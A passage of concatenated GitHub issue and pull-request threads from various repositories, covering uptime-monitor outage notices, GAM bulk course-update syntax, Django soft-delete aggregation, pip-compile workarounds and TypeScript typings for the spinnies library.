About components being able to import other components "ignoring" the entry-point rule, make sure that all of your element file types are being detected properly by the plugin. You may review your boundaries/elements settings, and use the ESLINT_PLUGIN_BOUNDARIES_DEBUG environment variable to check that every file type is being assigned as expected. If you need more help on this, please provide a full example of your configuration and files structure (a public repository containing it would be great, so anyone could review the configuration easily or even open a PR fixing it)

authors: javierbrea jesperume

repo: javierbrea/eslint-plugin-boundaries


text:
🛑 Ofelia Nieto, 57 is down

In 2d5d7fe, Ofelia Nieto, 57 (http://159.65.204.200:7022/) was down:

HTTP code: 502
Response time: 18559 ms

Resolved: Ofelia Nieto, 57 is back up in effb4a0 after 18 minutes.

repo: javisu/monitor


text:
🛑 Valderrebollo, 30 is down

In 8f372bc, Valderrebollo, 30 (http://159.65.204.200:7050/) was down:

HTTP code: 502
Response time: 18653 ms

Resolved: Valderrebollo, 30 is back up in b6cabfe.


text:
🛑 Rodriguez Marin, 88 is down

In 409c693, Rodriguez Marin, 88 (http://159.65.204.200:7057/) was down:

HTTP code: 502
Response time: 18718 ms

Resolved: Rodriguez Marin, 88 is back up in 3b993c7.


text:
🛑 Rodriguez Marin, 88 is down

In dda26ea, Rodriguez Marin, 88 (http://159.65.204.200:7057/) was down:

HTTP code: 502
Response time: 18748 ms

Resolved: Rodriguez Marin, 88 is back up in 576f344.


text:
Update Course Command ERROR

The issue tracker is for reporting product deficiencies. "How do I?" questions should be posted to the discussion forum at https://groups.google.com/group/google-apps-manager. When in doubt, start at the discussion forum and return here only when instructed to do so.
Please confirm the following:

I have upgraded to the latest GAM release from https://git.io/gamreleases and I still have this issue.
I am typing the command as described in the GAM Wiki at https://github.com/jay0lee/gam/wiki

Full steps to reproduce the issue:

Running the following command to update the Google Classroom course:
scrowell-mbp:gam scrowell$ /Users/scrowell/bin/gam/gam csv 2018classesupdate.csv gam update course alias ~alias name ~name section ~section description ~description teacher ~teacher status ~status

2018-9011-01 is the alias of my course

I've also tried using the courseID in the CSV file instead of the alias

Expected outcome (what are you trying to do?): I'm trying to update the status of the course that I just created to make sure I can runs these commands properly. I have many courses that need to be updated and they must be done in bulk.
Actual outcome (what errors or bad behavior do you see instead?):
ERROR: 2018-9011-01 is not a valid argument to "gam update course"

MagnoliaGiri,
You haven't indicated what course you're trying to update:
$ /Users/scrowell/bin/gam/gam csv 2018classesupdate.csv gam update course alias ~alias name ~name section ~section description ~description teacher ~teacher status ~status
If you're trying to update the course with alias ~alias then the proper command is:
$ /Users/scrowell/bin/gam/gam csv 2018classesupdate.csv gam update course d:alias name ~name section ~section description ~description teacher ~teacher status ~status
You specify a course by it's id or alias, if you're using the alias you put d: infront of the alias.
Ross
ross.scroggs@gmail.com

On Aug 19, 2018, at 7:55 AM, MagnoliaGirl notifications@github.com wrote:
The issue tracker is for reporting product deficiencies. "How do I?" questions should be posted to the discussion forum at https://groups.google.com/group/google-apps-manager https://groups.google.com/group/google-apps-manager. When in doubt, start at the discussion forum and return here only when instructed to do so.
Please confirm the following:
I have upgraded to the latest GAM release from https://git.io/gamreleases https://git.io/gamreleases and I still have this issue.
I am typing the command as described in the GAM Wiki at https://github.com/jay0lee/gam/wiki https://github.com/jay0lee/gam/wiki
Full steps to reproduce the issue:
Running the following command to update the Google Classroom course:
scrowell-mbp:gam scrowell$ /Users/scrowell/bin/gam/gam csv 2018classesupdate.csv gam update course alias ~alias name ~name section ~section description ~description teacher ~teacher status ~status
2018-9011-01 is the alias of my course
I've also tried using the courseID in the CSV file instead of the alias
Expected outcome (what are you trying to do?): I'm trying to update the status of the course that I just created to make sure I can runs these commands properly. I have many courses that need to be updated and they must be done in bulk.
Actual outcome (what errors or bad behavior do you see instead?):
ERROR: 2018-9011-01 is not a valid argument to "gam update course"
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub https://github.com/jay0lee/GAM/issues/780, or mute the thread https://github.com/notifications/unsubscribe-auth/AIU8LxxdGsW2x_ecvO4j3LdTOiMq5yLtks5uSXxTgaJpZM4WC_tJ.

But I have the all of the aliases in the CSV. I’m trying to do them in bulk because I have so many.
Suzanne Magnolia Crowell ‘95
Technology Integrator
scrowell@olgchs.orgmailto:scrowell@olgchs.org
17301 Old Vic Blvd
Olney, MD 20832
p: 240.283.3220
OLGCHS.ORGhttp://www.olgchs.org/
WE INSPIRE OUR STUDENTS TO EXCEL, SERVE, AND LOVE.
On Aug 19, 2018, at 11:07 AM, Ross Scroggs <notifications@github.commailto:notifications@github.com> wrote:
MagnoliaGiri,
You haven't indicated what course you're trying to update:
$ /Users/scrowell/bin/gam/gam csv 2018classesupdate.csv gam update course alias ~alias name ~name section ~section description ~description teacher ~teacher status ~status
If you're trying to update the course with alias ~alias then the proper command is:
$ /Users/scrowell/bin/gam/gam csv 2018classesupdate.csv gam update course d:alias name ~name section ~section description ~description teacher ~teacher status ~status
You specify a course by it's id or alias, if you're using the alias you put d: infront of the alias.
Ross
ross.scroggs@gmail.commailto:ross.scroggs@gmail.com

On Aug 19, 2018, at 7:55 AM, MagnoliaGirl <notifications@github.commailto:notifications@github.com> wrote:
The issue tracker is for reporting product deficiencies. "How do I?" questions should be posted to the discussion forum at https://groups.google.com/group/google-apps-manager https://groups.google.com/group/google-apps-manager. When in doubt, start at the discussion forum and return here only when instructed to do so.
Please confirm the following:
I have upgraded to the latest GAM release from https://git.io/gamreleases https://git.io/gamreleases and I still have this issue.
I am typing the command as described in the GAM Wiki at https://github.com/jay0lee/gam/wiki https://github.com/jay0lee/gam/wiki
Full steps to reproduce the issue:
Running the following command to update the Google Classroom course:
scrowell-mbp:gam scrowell$ /Users/scrowell/bin/gam/gam csv 2018classesupdate.csv gam update course alias ~alias name ~name section ~section description ~description teacher ~teacher status ~status
2018-9011-01 is the alias of my course
I've also tried using the courseID in the CSV file instead of the alias
Expected outcome (what are you trying to do?): I'm trying to update the status of the course that I just created to make sure I can runs these commands properly. I have many courses that need to be updated and they must be done in bulk.
Actual outcome (what errors or bad behavior do you see instead?):
ERROR: 2018-9011-01 is not a valid argument to "gam update course"
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub https://github.com/jay0lee/GAM/issues/780, or mute the thread https://github.com/notifications/unsubscribe-auth/AIU8LxxdGsW2x_ecvO4j3LdTOiMq5yLtks5uSXxTgaJpZM4WC_tJ.

—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHubhttps://github.com/jay0lee/GAM/issues/780#issuecomment-414133944, or mute the threadhttps://github.com/notifications/unsubscribe-auth/AojBQ3LIQH0C6QP7DW4NmB35hragTbrmks5uSX87gaJpZM4WC_tJ.

Suzanne,
You can stll use the CSV file, it's just that the format of your command is incorrect.
This is the command you want:

$ /Users/scrowell/bin/gam/gam csv 2018classesupdate.csv gam update course d:alias name ~name section ~section description ~description teacher ~teacher status ~status

It specifies:
the source (csv 2018classesupdate.csv)
the action (update)
the object (course d:alias)
the changes: name ~name section ~section description ~description teacher ~teacher status ~status
Ross
ross.scroggs@gmail.com

On Aug 19, 2018, at 12:15 PM, MagnoliaGirl notifications@github.com wrote:
But I have the all of the aliases in the CSV. I’m trying to do them in bulk because I have so many.
Suzanne Magnolia Crowell ‘95
Technology Integrator
scrowell@olgchs.orgmailto:scrowell@olgchs.org
17301 Old Vic Blvd
Olney, MD 20832
p: 240.283.3220
OLGCHS.ORGhttp://www.olgchs.org/
WE INSPIRE OUR STUDENTS TO EXCEL, SERVE, AND LOVE.
On Aug 19, 2018, at 11:07 AM, Ross Scroggs <notifications@github.commailto:notifications@github.com> wrote:
MagnoliaGiri,
You haven't indicated what course you're trying to update:
$ /Users/scrowell/bin/gam/gam csv 2018classesupdate.csv gam update course alias ~alias name ~name section ~section description ~description teacher ~teacher status ~status
If you're trying to update the course with alias ~alias then the proper command is:
$ /Users/scrowell/bin/gam/gam csv 2018classesupdate.csv gam update course d:alias name ~name section ~section description ~description teacher ~teacher status ~status
You specify a course by it's id or alias, if you're using the alias you put d: infront of the alias.
Ross
ross.scroggs@gmail.commailto:ross.scroggs@gmail.com

On Aug 19, 2018, at 7:55 AM, MagnoliaGirl <notifications@github.commailto:notifications@github.com> wrote:
The issue tracker is for reporting product deficiencies. "How do I?" questions should be posted to the discussion forum at https://groups.google.com/group/google-apps-manager https://groups.google.com/group/google-apps-manager. When in doubt, start at the discussion forum and return here only when instructed to do so.
Please confirm the following:
I have upgraded to the latest GAM release from https://git.io/gamreleases https://git.io/gamreleases and I still have this issue.
I am typing the command as described in the GAM Wiki at https://github.com/jay0lee/gam/wiki https://github.com/jay0lee/gam/wiki
Full steps to reproduce the issue:
Running the following command to update the Google Classroom course:
scrowell-mbp:gam scrowell$ /Users/scrowell/bin/gam/gam csv 2018classesupdate.csv gam update course alias ~alias name ~name section ~section description ~description teacher ~teacher status ~status
2018-9011-01 is the alias of my course
I've also tried using the courseID in the CSV file instead of the alias
Expected outcome (what are you trying to do?): I'm trying to update the status of the course that I just created to make sure I can runs these commands properly. I have many courses that need to be updated and they must be done in bulk.
Actual outcome (what errors or bad behavior do you see instead?):
ERROR: 2018-9011-01 is not a valid argument to "gam update course"
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub https://github.com/jay0lee/GAM/issues/780, or mute the thread https://github.com/notifications/unsubscribe-auth/AIU8LxxdGsW2x_ecvO4j3LdTOiMq5yLtks5uSXxTgaJpZM4WC_tJ.

—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHubhttps://github.com/jay0lee/GAM/issues/780#issuecomment-414133944, or mute the threadhttps://github.com/notifications/unsubscribe-auth/AojBQ3LIQH0C6QP7DW4NmB35hragTbrmks5uSX87gaJpZM4WC_tJ.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub https://github.com/jay0lee/GAM/issues/780#issuecomment-414149097, or mute the thread https://github.com/notifications/unsubscribe-auth/AIU8L_hjqDXKAZGYev5i5-eSKrIlTUHmks5uSblfgaJpZM4WC_tJ.

Now I’m getting the following errors:
scrowell-mbp:gam scrowell$ /Users/scrowell/bin/gam/gam csv archivetest.csv gam update course d:id status ~status
Using 2 processes...
ERROR: 404: Requested entity was not found. - notFound
ERROR: 404: Requested entity was not found. - notFound
My CSV looks like this. I pulled those IDs from a command to print courses to drive since I don’t know the alias’s of them.
[cid:1E048201-B4C6-4518-A58E-A33BA4756794@OLGCHS.ORG]
This is what printed to drive so I grabbed the IDs from here.
[cid:F2538FA3-2117-4EE4-A455-A40FA96C0245@OLGCHS.ORG]
Suzanne Magnolia Crowell ‘95
Technology Integrator
scrowell@olgchs.orgmailto:scrowell@olgchs.org
17301 Old Vic Blvd
Olney, MD 20832
p: 240.283.3220
OLGCHS.ORGhttp://www.olgchs.org/
WE INSPIRE OUR STUDENTS TO EXCEL, SERVE, AND LOVE.
On Aug 19, 2018, at 7:29 PM, Ross Scroggs <notifications@github.commailto:notifications@github.com> wrote:
Suzanne,
You can stll use the CSV file, it's just that the format of your command is incorrect.
This is the command you want:

$ /Users/scrowell/bin/gam/gam csv 2018classesupdate.csv gam update course d:alias name ~name section ~section description ~description teacher ~teacher status ~status

It specifies:
the source (csv 2018classesupdate.csv)
the action (update)
the object (course d:alias)
the changes: name ~name section ~section description ~description teacher ~teacher status ~status
Ross
ross.scroggs@gmail.commailto:ross.scroggs@gmail.com

On Aug 19, 2018, at 12:15 PM, MagnoliaGirl <notifications@github.commailto:notifications@github.com> wrote:
But I have the all of the aliases in the CSV. I’m trying to do them in bulk because I have so many.
Suzanne Magnolia Crowell ‘95
Technology Integrator
scrowell@olgchs.orgmailto:scrowell@olgchs.orgmailto:scrowell@olgchs.org
17301 Old Vic Blvd
Olney, MD 20832
p: 240.283.3220
OLGCHS.ORGhttp://OLGCHS.ORGhttp://www.olgchs.org/
WE INSPIRE OUR STUDENTS TO EXCEL, SERVE, AND LOVE.
On Aug 19, 2018, at 11:07 AM, Ross Scroggs <notifications@github.commailto:notifications@github.commailto:notifications@github.com> wrote:
MagnoliaGiri,
You haven't indicated what course you're trying to update:
$ /Users/scrowell/bin/gam/gam csv 2018classesupdate.csv gam update course alias ~alias name ~name section ~section description ~description teacher ~teacher status ~status
If you're trying to update the course with alias ~alias then the proper command is:
$ /Users/scrowell/bin/gam/gam csv 2018classesupdate.csv gam update course d:alias name ~name section ~section description ~description teacher ~teacher status ~status
You specify a course by it's id or alias, if you're using the alias you put d: infront of the alias.
Ross
ross.scroggs@gmail.commailto:ross.scroggs@gmail.commailto:ross.scroggs@gmail.com

On Aug 19, 2018, at 7:55 AM, MagnoliaGirl <notifications@github.commailto:notifications@github.commailto:notifications@github.com> wrote:
The issue tracker is for reporting product deficiencies. "How do I?" questions should be posted to the discussion forum at https://groups.google.com/group/google-apps-manager https://groups.google.com/group/google-apps-manager. When in doubt, start at the discussion forum and return here only when instructed to do so.
Please confirm the following:
I have upgraded to the latest GAM release from https://git.io/gamreleases https://git.io/gamreleases and I still have this issue.
I am typing the command as described in the GAM Wiki at https://github.com/jay0lee/gam/wiki https://github.com/jay0lee/gam/wiki
Full steps to reproduce the issue:
Running the following command to update the Google Classroom course:
scrowell-mbp:gam scrowell$ /Users/scrowell/bin/gam/gam csv 2018classesupdate.csv gam update course alias ~alias name ~name section ~section description ~description teacher ~teacher status ~status
2018-9011-01 is the alias of my course
I've also tried using the courseID in the CSV file instead of the alias
Expected outcome (what are you trying to do?): I'm trying to update the status of the course that I just created to make sure I can runs these commands properly. I have many courses that need to be updated and they must be done in bulk.
Actual outcome (what errors or bad behavior do you see instead?):
ERROR: 2018-9011-01 is not a valid argument to "gam update course"
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub https://github.com/jay0lee/GAM/issues/780, or mute the thread https://github.com/notifications/unsubscribe-auth/AIU8LxxdGsW2x_ecvO4j3LdTOiMq5yLtks5uSXxTgaJpZM4WC_tJ.

—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHubhttps://github.com/jay0lee/GAM/issues/780#issuecomment-414133944, or mute the threadhttps://github.com/notifications/unsubscribe-auth/AojBQ3LIQH0C6QP7DW4NmB35hragTbrmks5uSX87gaJpZM4WC_tJ.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub https://github.com/jay0lee/GAM/issues/780#issuecomment-414149097, or mute the thread https://github.com/notifications/unsubscribe-auth/AIU8L_hjqDXKAZGYev5i5-eSKrIlTUHmks5uSblfgaJpZM4WC_tJ.

—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHubhttps://github.com/jay0lee/GAM/issues/780#issuecomment-414163658, or mute the threadhttps://github.com/notifications/unsubscribe-auth/AojBQ4GNeZPTmZVrjte3vy7kCdrcLPpmks5uSfTigaJpZM4WC_tJ.


text:
🛑 UpMob-API NL is down

In a001297, UpMob-API NL ($UPMOB_API) was down:

HTTP code: 0
Response time: 0 ms

Resolved: UpMob-API NL is back up in 6c07b84.

repo: jayantkatia/status


text:
[STYLE] Responsiveness of Home page

Is your feature request related to a problem? Please describe.
The responsiveness of the homepage is a bit off. At 1024px (Laptop view), the text is overflowing, and in mobile view, the image is really small and the svg is in the middle.
Describe the solution you'd like
I would like to hide the image and move the svg to bottom of the page  in mobile view. Also, I would like to reduce the font-size of the content in the mobile view and laptop view(1024px) so that it fits perfectly.
Additional context
I'm in GSSoC'23.

Site is being redesigned!

Would you like to work on it?

Sure!

I'm a bit confused. I did create a new branch with the name "monishka" and did all the changes in my forked repository, and created the PR . Do I need to do anything else?

@Monishka8303 please assign me this problem.

repo: jayk-gupta/web-resources-project


text:
Clean up deprecated Python and Django code

As Python 2.7 deprecation is coming up and the package supports old Python and Django versions, cleaning up old code allows cleaner dependencies, faster development, and better security.
This PR updates the test support matrix for Python 3.7, Python 3.8 and PyPy. It also removes old deprecated compatibility shims supporting e.g. old Django versions that are EOL.
The old testfixtures and mock libraries have also been deprecated in favour or unittest.mock and Python core modules, which allows for a more lightweight test setup.
Travis has been updated to use tox-travis for neater test support and tox file was added to run the tests easily against multiple Python and Django versions in a local environment.
Fixes #102

Upstreaming as no one has object to deprecation.

repo: jazzband/django-embed-video


text:
Max function works wrong with SoftDeletableModel

Problem
Wrong working with aggregation function
Environment

Django Model Utils version: 3.0.0
Django version:  1.11
Python version: 3.5

Code examples
i have a model like:
class BaseObject(SoftDeletableModel, TimeStampedModel):
    author = models.OtherModel()

class OtherModel(SoftDeletableModel, TimeStampedModel):
    pass

create a couple of objects and when delete last created.
This query show zero result because Max('authors__baseobject__created') aggregate against all object i see no baseobject.is_removed = False in .query
models.BaseObject.objects.filter(
        author__in=authors).annotate(
        max_date=Max('authors__baseobject__created')).filter(
        created=F('max_date'))

So it gives me wrong results if i delete last created object.
SELECT ...., MAX(T3."created") AS "max_date" FROM "base_object" INNER JOIN "other_model" ON ("base_object"."other_model_id" = "other_model"."id") LEFT OUTER JOIN "base_object" T3 ON ("other_model"."id" = T3."other_model_id") WHERE ("base_object"."is_removed" = False AND "base_object"."other_model_id" IN (2)) GROUP BY "base_object"."id" HAVING "base_object"."created" = (MAX(T3."created"))
As you can see generated sql doesn't have any limitation "base_object"."is_removed" = False on T3 table

As I can see, generated SQL does HAVE "base_object"."is_removed" = False limitation (in the where statement):
SELECT ...., MAX(T3."created") AS "max_date" FROM "base_object" INNER JOIN "other_model" ON ("base_object"."other_model_id" = "other_model"."id") LEFT OUTER JOIN "base_object" T3 ON ("other_model"."id" = T3."other_model_id")
WHERE (
    "base_object"."is_removed" = False  /* <--- look at this line */
    AND  "base_object"."other_model_id" IN (2)
)
GROUP BY "base_object"."id" HAVING "base_object"."created" = (MAX(T3."created"))

But not on T3 table, you can try it yourself.
Steps to reproduce:
create models
class OtherModel(SoftDeletableModel, TimeStampedModel):
    def __str__(self):
        return 'OtherModel {}'.format(self.id)

class BaseObjectModel(SoftDeletableModel, TimeStampedModel):
    author = models.ManyToManyField(OtherModel, blank=True)

    def __str__(self):
        return 'BaseObjectModel {}'.format(self.id)

Make migration, apply it, enter django shell
from django.db.models import Max, F
from <your_app>.models import OtherModel, BaseObjectModel
a = OtherModel.objects.create()
b = OtherModel.objects.create()

base1 = BaseObjectModel.objects.create()
base1.author.add(a,b)

base2 = BaseObjectModel.objects.create()
base2.author.add(a,b)

base1.id # 5 in my case
base2.id # 6 in my case

BaseObjectModel.objects.filter(
        author__in=authors).annotate(
        max_date=Max('author__baseobjectmodel__created')).filter(
        created=F('max_date'))
# result - >
SoftDeletableQuerySet [<BaseObjectModel: BaseObjectModel 6>] # as expected

base2.delete()

BaseObjectModel.objects.filter(
        author__in=authors).annotate(
        max_date=Max('author__baseobjectmodel__created')).filter(
        created=F('max_date'))
# result - >
SoftDeletableQuerySet [] # not as expected should be base1 object with id 5 in my case.

authors: Smosker iAnanich

repo: jazzband/django-model-utils


text:
pip-compile only primary requirements defined in requirements.in

What's the problem this feature will solve?

We have a requirement where our project only really needs to pin the primary requirements defined in the requirements. in file. And right now, there is no way to do this explicitly. So we have to generate the requirements.txt file and strip out all non-primary dependencies, which is quite hacky.
Describe the solution you'd like

pip-compile --primary-requirements-only --output-file requirements.txt --upgrade requirements.in.

Alternative Solutions

None available today in pip-compile. But maybe use pip.
Additional context

None

Hello @cabhishek,
Thanks for the issue! IMO, this case is too specific and could be solved by:
$ pip-compile -qo- | grep "via -r requirements.in"

But, I'd be happy to hear other opinions.

@atugushev Thanks for the suggestion, and we are doing something similar. But I guess our use case is specific since we don't even need the annotations  # "via -r requirements.in...". So we cannot use --no-annotate flag if we are relying on annotation for primary dependency filtering.
But overall I think its quite a simple use case, just pin dependencies from requirement.in but not recursively.

A few extra notes:

You can add a comment-stripping step in the pipeline to @atugushev's example:

$ pip-compile -qUo- requirements.in | grep "via -r requirements.in" | grep -o '.*  ' > requirements.txt

You can do it with one fewer pipe with a fancy tool like pcregrep, pcre2grep, or rg (ripgrep):

$ pip-compile -qUo- requirements.in | pcregrep -o1 '(.*) # via -r requirements.in' > requirements.txt
$ pip-compile -qUo- requirements.in | pcre2grep -o1 '(.*) # via -r requirements.in' > requirements.txt
$ pip-compile -qUo- requirements.in | rg -r '$1' '(.*) # via -r requirements.in' > requirements.txt

Be warned that in this project's current state, running pip-sync without options against such a resulting requirements.txt will behave inconsistently. Let's say we've got two primary requirements, click and boto3:

$ pip-sync -q requirements.txt
$ pip freeze | wc -l
10
$ pip-sync -q requirements.txt
$ pip freeze | wc -l
4
$ pip-sync -q requirements.txt
$ pip freeze | wc -l
4
$ pip-sync -q /dev/null
$ pip-sync -q requirements.txt
$ pip freeze | wc -l
10

You can consistently install only the primary requirements without any of their dependencies (a broken installation), with:
$ pip-sync --pip-args --no-deps requirements.txt

But I doubt that's what you want. I would be very interested to hear if it is what you want; I have a PR to, IMO, fix the above inconsistency by always installing those unpinned dependencies, but it's been met with concerns about breaking workflows, though no one has yet provided an actual workflow which would be broken by it. For details, see #907 and #896.

Looks like the new annotation format that puts them on separate lines breaks these workarounds. You can instead get the explicit reqs by either parsing the reqsin files or fancier parsing of the annotated txts.
I'll try to post such a workaround soon.

Looks like the new annotation format that puts them on separate lines breaks these workarounds. You can instead get the explicit reqs by either parsing the reqsin files or fancier parsing of the annotated txts.
I'll try to post such a workaround soon.

@AndydeCleyre Thanks, and yes, this change breaks our build pipeline. Our unit test caught this change, and now regex parsing is harder. TBH, I don't understand the value add of the new annotation format.

@AndydeCleyre Thanks, and yes, this change breaks our build pipeline. Our unit test caught this change, and now regex parsing is harder. TBH, I don't understand the value add of the new annotation format.

@cabhishek
While I hope and believe we'll get the compact annotations back soon, I have written a new workaround that doesn't parse the annotation strings, as a zsh function:
#!/bin/zsh
.pcpicky_pkgspec2name () {  # <pkgspec>
  emulate -L zsh
  unset REPLY
  [[ $1 ]] || return

  REPLY=${${(j: :)${${(s: :)${1##*\#egg=}:l}:#-*}}%%[ \[<>=#~;@&]*}
}

pcpicky () {  # [<reqs.in>]
  emulate -L zsh

  local reqsin pipc_args=()
  reqsin=${1:-requirements.in}

  local targets=()
  for 1 ( ${(f)"$(<$reqsin)"} ) {
    .pcpicky_pkgspec2name $1
    targets+=($REPLY)
  }

  local pins=()
  for 1 ( ${(f)"$(pip-compile -qUo- $reqsin)"} ) {
    .pcpicky_pkgspec2name $1
    if (( targets[(I)$REPLY] )) pins+=($1)
  }

  <<<${(F)pins} >${reqsin:r}.txt
}

pcpicky $@

@cabhishek
While I hope and believe we'll get the compact annotations back soon, I have written a new workaround that doesn't parse the annotation strings, as a zsh function:
#!/bin/zsh
.pcpicky_pkgspec2name () {  # <pkgspec>
  emulate -L zsh
  unset REPLY
  [[ $1 ]] || return

  REPLY=${${(j: :)${${(s: :)${1##*\#egg=}:l}:#-*}}%%[ \[<>=#~;@&]*}
}

pcpicky () {  # [<reqs.in>]
  emulate -L zsh

  local reqsin pipc_args=()
  reqsin=${1:-requirements.in}

  local targets=()
  for 1 ( ${(f)"$(<$reqsin)"} ) {
    .pcpicky_pkgspec2name $1
    targets+=($REPLY)
  }

  local pins=()
  for 1 ( ${(f)"$(pip-compile -qUo- $reqsin)"} ) {
    .pcpicky_pkgspec2name $1
    if (( targets[(I)$REPLY] )) pins+=($1)
  }

  <<<${(F)pins} >${reqsin:r}.txt
}

pcpicky $@

Just noting here that --annotation-style=line can help with parsing, in newer versions.

--annotation-style=line works as expected and creates comments on the same line as the requirements.  Thanks.

authors: AndydeCleyre atugushev cabhishek

repo: jazzband/pip-tools


text:
Improve text of resolver warning

Improve the text of the resolver warning to clarify the warning's cause and fix the grammar.
Contributor checklist

[x] Assure PR title is short, clear, and good to be included in the user-oriented changelog

Maintainer checklist

[ ] Assure one of these labels is present: backwards incompatible, feature, enhancement, deprecation, bug, dependency, docs or skip-changelog as they determine changelog listing.
[ ] Assign the PR to an existing or new milestone for the target version (following Semantic Versioning).

(As my edits made the strings longer than Black's line length, this change is formatted using black --preview to use Black's experimental string processing feature. This is why the trailing spaces changed to leading spaces: because of this autoformatting.)


text:
Clojure implementation

Hi @jbenet, I've implemented multihash in Clojure if you'd like to add it to the list in the README:
https://github.com/greglook/clj-multihash
The motivation was another project of mine which shares some ideas with IPFS. After reading through the spec and learning more about it, I think I may just drop the blob layer and use IPFS instead. :)

@greglook happy to! could you send a PR adding it?
and great! you can use the ipfs cli or http apis to use it directly from clj. be warned it's not perfect yet-- but getting there fast. drop by on irc for help with anything

closed via #3

authors: greglook jbenet

repo: jbenet/multihash


text:
Changed password field to not strip its data

Password field shouldn't strip its data – see also django.contrib.auth.forms.AuthenticationForm

@pmayer looks good, please squash commits

checks are ok, only failing because some python versions are not available.

@jbittel ready for merge

authors: manelclos pmayer

repo: jbittel/django-mama-cas


text:
🛑 SF Bahá'í is down

In 30def27, SF Bahá'í (https://www.sfbahai.org) was down:

HTTP code: 403
Response time: 64 ms

Resolved: SF Bahá'í is back up in 44570b6.

repo: jbraithwaite/uptime


text:
webpack --watch not always detecting changes when you only change type information

When I run webpack --watch which uses ts-loader and ts-jsx-loader and I come across an typescript error, then sometimes when I change some TS code, the watcher does not trigger a new compilation run, and thus I don't see updated webpack output to tell me if the error is now solved.
I think it relates to Typescript specific changes that do not affect the JS output.
for example if I get this error:
Type 'SpecialType' is not assignable to type 'GeneralType'.
And I then change this:
var x:SpecialType = foo.getSomething()
to
var x:SpecialType = <SpecialType> foo.getSomething()
the watcher does not trigger a new compilation.
But if I remove the entire line it does (and ofcourse it shows me new errors because the line is missing).. then when I put the line back the watcher triggers again a new compilation and I finally see that my error is resolved.
So at the moment I often have to manually remove lines, save, and put them back, and save to trigger a compilation.
I'm not certain wether this is a bug of webpack or of ts-loader, but I'm expecting the ladder.

This took quite a while to track down but I believe I've fixed it in v0.4.4. Thanks for reporting, I think this fix makes the watch mode much easier to work with.

authors: flyon jbrantly

repo: jbrantly/ts-loader


text:
fix: can add payouts to zero projects

What does this PR do and why?
Provide a description of what this PR does. Link to any relevant GitHub issues, Notion tasks or Discord discussions.
Screenshots or screen recordings
If applicable, provide screenshots or screen recordings to demonstrate the changes.
Acceptance checklist

[ ] I have evaluated the Approval Guidelines for this PR.
[ ] (if relevant) I have tested this PR in all supported browsers.
[ ] (if relevant) I have tested this PR in dark mode and light mode (if applicable).

Current dependencies on/for this PR:

main

PR #3599   👈

This comment was auto-generated by Graphite.

repo: jbx-protocol/juice-interface


text:
Rename vars

cc @ewolinetz

:+1: to the rename vars commit

authors: ewolinetz jcantrill

repo: jcantrill/openshift-ansible


text:
Add typescript typings

hi,
it would be great if we have typings so we get IntelliSense in IDE  and stop typescript complaining.

Hello! Any status on this?

or use  Spinnies.d.ts
declare module "spinnies" {
  type StopAllStatus = "succeed" | "fail" | "stopped";
  type SpinnerStatus = StopAllStatus | "spinning" | "non-spinnable";

  interface Spinner {
    interval: number;
    frames: string[];
  }

  interface SpinnerOptions {
    text?: string;
    indent?: number;
    status?: SpinnerStatus;
    color?: string;
    succeedColor?: string;
    failColor?: string;
  }

  interface Options {
    color?: string;
    succeedColor?: string;
    failColor?: string;
    spinnerColor?: string;
    succeedPrefix?: string;
    failPrefix?: string;
    disableSpins?: boolean;
    spinner?: Spinner;
  }

  export default class Spinnies {
    static dots: Spinner;
    static dashes: Spinner;
    constructor(options?: Options);
    add: (name: string, options?: SpinnerOptions) => SpinnerOptions;
    pick: (name: string) => SpinnerOptions;
    remove: (name: string) => SpinnerOptions;
    update: (name: string, options?: SpinnerOptions) => SpinnerOptions;
    succeed: (name: string, options?: SpinnerOptions) => SpinnerOptions;
    fail: (name: string, options?: SpinnerOptions) => SpinnerOptions;
    stopAll: (status?: StopAllStatus) => { [name: string]: SpinnerOptions };
    hasActiveSpinners: () => boolean;
  }
}

I'm hoping to get types added to DefinitelyTyped over in DefinitelyTyped/DefinitelyTyped#59503. In the meantime, here is the slightly improved local type declarations file that I'm using in my project:
declare module "spinnies" {
  const dots: Spinner;
  const dashes: Spinner;

  type Color =
    "black"
    | "red"
    | "green"
    | "yellow"
    | "blue"
    | "magenta"
    | "cyan"
    | "white"
    | "gray"
    | "redBright"
    | "greenBright"
    | "yellowBright"
    | "blueBright"
    | "magentaBright"
    | "cyanBright"
    | "whiteBright";

  type StopAllStatus = "succeed" | "fail" | "stopped";
  type SpinnerStatus = StopAllStatus | "spinning" | "non-spinnable";

  interface Spinner {
    interval: number;
    frames: string[];
  }

  /**
   * The configuration for a given spinner
   */
  interface SpinnerOptions {
    /**
     * Text to show in the spinner. If none is provided, the name field will be shown.
     */
    text: string;

    /**
     * Indent the spinner with the given number of spaces.
     */
    indent: number;

    /**
     * Initial status of the spinner.
     */
    status: SpinnerStatus;

    /**
     * The color of the text that accompanies the spinner. If not specified, the console's default foreground color is used.
     */
    color?: Color;

    /**
     * The color for the text on success. Default value is `"green"`
     */
    succeedColor: Color;

    /**
     * The color for the text on failure. Default value is `"red"`.
     */
    failColor: Color;

    /**
     * The color of the spinner, when active. The default value is `"greenBright"`
     */
    spinnerColor: Color;
  }

  /**
   * Contains top-level configuration for the Spinnies class. Also allows the
   * caller to override default values used in `SpinnerOptions`.
   */
  interface Options {
    /**
     * The color of the text that accompanies the spinner. If not specified, the console's default foreground color is used.
     */
    color?: Color;

    /**
     * The color for the text on success. Default value is `"green"`
     */
    succeedColor: Color;

    /**
     * The color for the text on failure. Default value is `"red"`.
     */
    failColor: Color;

    /**
     * The color of the spinner, when active. The default value is `"greenBright"`
     */
    spinnerColor: Color;

    /**
     * The symbol to be used in place of the spinner on success. The default value is ✓.
     */
    succeedPrefix: string;

    /**
     * The symbol to be used in place of the spinner on failure. The default value is ✖.
     */
    failPrefix: string;

    /**
     * Disable spinner animations (will still print raw messages if `true`). The default value is `false`.
     */
    disableSpins: boolean;

    /**
     * Defines the animated spinner to be used while each spinner is active/spinning.
     */
    spinner: Spinner;
  }

  /**
   * A class that manages multiple CLI spinners.
   */
